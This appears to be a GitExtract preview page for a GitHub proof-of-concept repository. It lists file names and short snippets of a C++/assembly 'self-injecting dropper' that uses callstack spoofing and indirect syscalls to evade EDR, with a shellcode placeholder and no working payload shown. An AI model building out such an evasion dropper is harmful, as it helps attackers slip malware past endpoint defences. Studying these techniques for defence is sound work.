type LDR_DATA_TABLE_ENTRY (line 292) | typedef struct _LDR_DATA_TABLE_ENTRY {
type OBJECT_ATTRIBUTES (line 322) | typedef struct _OBJECT_ATTRIBUTES {
type INITIAL_TEB (line 331) | typedef struct _INITIAL_TEB {
Condensed preview — 8 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (30K chars).
[
{
"path": "Assembly.asm",
"chars": 4005,
"preview": "section .data\r\n\r\nsyscall_ret dq 0000000000000000h\r\nadd_rsp_ret dq 0000000000000000h\r\n\r\nsection .text\r\n\r\nglobal GetSSNByF"
},
{
"path": "Callbacks.h",
"chars": 2512,
"preview": "#include <windows.h>\r\n\r\n/////////////////////\r\n// CALLBACK ARGS //\r\n/////////////////////\r\n\r\ntypedef struct _NTALLOCAT"
},
{
"path": "Compiler.bat",
"chars": 110,
"preview": "@ECHO OFF\r\n\r\nnasm -f win64 .\\Assembly.asm -o .\\Assembly.obj\r\ng++ -o poc.exe main.cpp Assembly.obj\r\ndel *.obj\r\n"
},
{
"path": "LICENSE",
"chars": 1063,
"preview": "MIT License\n\nCopyright (c) 2023 pard0p\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
},
{
"path": "Main.cpp",
"chars": 7636,
"preview": "#include \"Callbacks.h\"\r\n#include \"Shellcode.h\"\r\n#include \"PEB.h\"\r\n#include <iostream>\r\n\r\n//Definition of the Windows Thr"
},
{
"path": "PEB.h",
"chars": 10701,
"preview": "#pragma once\r\n#include <Windows.h>\r\n\r\n/*--------------------------------------------------------------------\r\n STRUCTUR"
},
{
"path": "README.md",
"chars": 1874,
"preview": "# Callstack spoofing + Indirect Syscalls POC\nThis project consists of a simple C++ self-Injecting dropper focused on EDR"
},
{
"path": "Shellcode.h",
"chars": 43,
"preview": "unsigned char code[] = \" --- SHELCODE ---\";"
}
]
About this extraction
This page contains the full source code of the pard0p/CallstackSpoofingPOC GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 8 files (27.3 KB), approximately 7.6k tokens, and a symbol index with 28 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.